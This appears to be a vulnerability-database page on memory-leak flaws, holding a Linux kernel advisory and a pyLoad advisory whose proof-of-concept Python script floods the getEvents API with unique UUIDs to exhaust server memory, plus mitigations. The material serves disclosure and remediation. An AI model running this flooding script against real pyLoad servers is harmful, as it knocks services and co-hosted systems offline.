A memory leak in the ccp_run_sha_cmd() function in drivers/crypto/ccp/ccp-ops.c in the Linux kernel through 5.3.9 allows attackers to cause a denial of service (memory consumption), aka CID-128c66429247.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-18808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-07T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A memory leak in the ccp_run_sha_cmd() function in drivers/crypto/ccp/ccp-ops.c in the Linux kernel through 5.3.9 allows attackers to cause a denial of service (memory consumption), aka CID-128c66429247.",
  "id": "GHSA-c269-fcrm-h58r",
  "modified": "2022-05-24T17:00:38Z",
  "published": "2022-05-24T17:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18808"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/128c66429247add5128c03dc1e144ca56f05a4e2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LYIFGYEDQXP5DVJQQUARQRK2PXKBKQGY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YWWOOJKZ4NQYN4RMFIVJ3ZIXKJJI3MKP"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20191205-0001"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4525-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4526-1"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/09/14/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C2F9-4MC8-J656

Vulnerability from github – Published: 2026-07-09 13:35 – Updated: 2026-07-09 13:35
VLAI
Summary
pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager
Details

Description:

The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

Vulnerable Code:

https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

Here the client is added to the clients list but never cleared the inactive clients.

Exploitation:

  1. Start pyLoad server (Ensure the pyload server is running)
  2. Authenticate: Obtain a session cookie or an API key (Here i used the API key).
  3. Send Requests: Run the below poc script to send a large number of requests to the getEvents API endpoint, each with a unique uuid.
import requests
import uuid
import time

# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000

headers = {
    "X-API-Key" : "<YOUR_APIKEY>"
}

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS):
   # Generating a new UUID
    uid = str(uuid.uuid4())
    try:
        # Sending request
        requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
        if i % 1000 == 0:
            print(f"Sent {i} requests...")
    except requests.exceptions.RequestException as e:
        print(f"Error at request {i}: {e}")
        break

print("Attack complete. Check memory usage.")
  1. Monitor Memory: Monitor the memory usage of the pyload process (e.g., using top, ps or the following commands).
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done
  1. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.

https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686

Impact:

  • Denial of Service (DoS). The pyload process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.

Mitigations:

  • Invoke clean(): Call self.clean() at the beginning of the get_events method to purge inactive clients before processing new ones.
  • Rate Limiting: Implement rate limiting on the getEvents endpoint to prevent a single client from flooding the server with unique UUIDs.
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:35:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description:\nThe `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.\n\n## Vulnerable Code:\nhttps://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17\n\n\u003e Here the client is added to the `clients` list but never cleared the inactive clients.\n\n## Exploitation:\n1.  **Start pyLoad server** (Ensure the `pyload` server is running)\n2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).\n3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.\n```python\nimport requests\nimport uuid\nimport time\n\n# Configuration\nURL = \"http://localhost:8000/api/getEvents\"\nNUM_REQUESTS = 100000\n\nheaders = {\n\t\"X-API-Key\" : \"\u003cYOUR_APIKEY\u003e\"\n}\n\nprint(f\"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...\")\n\nfor i in range(NUM_REQUESTS):\n   # Generating a new UUID\n    uid = str(uuid.uuid4())\n    try:\n        # Sending request\n        requests.get(URL, params={\"uuid\": uid}, headers=headers, timeout=5)\n        if i % 1000 == 0:\n            print(f\"Sent {i} requests...\")\n    except requests.exceptions.RequestException as e:\n        print(f\"Error at request {i}: {e}\")\n        break\n\nprint(\"Attack complete. Check memory usage.\")\n\n```\n5.  **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands).\n```bash\nPID=$(pgrep -f \"pyload\"); while true; do ps -o rss= -p $PID; sleep 1; done\n```\n\n6.  **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.\n\nhttps://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686\n\n## Impact:\n- Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.\n\n## Mitigations:\n- **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones.\n- **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.",
  "id": "GHSA-c2f9-4mc8-j656",
  "modified": "2026-07-09T13:35:28Z",
  "published": "2026-07-09T13:35:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager"
}
Mitigation MIT-41
Implementation

Strategy: Libraries or Frameworks

  • Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
  • For example, glibc in Linux provides protection against free of invalid pointers.
  • When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].
  • To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
Mitigation
Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Mitigation
Architecture and Design Build and Compilation

Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list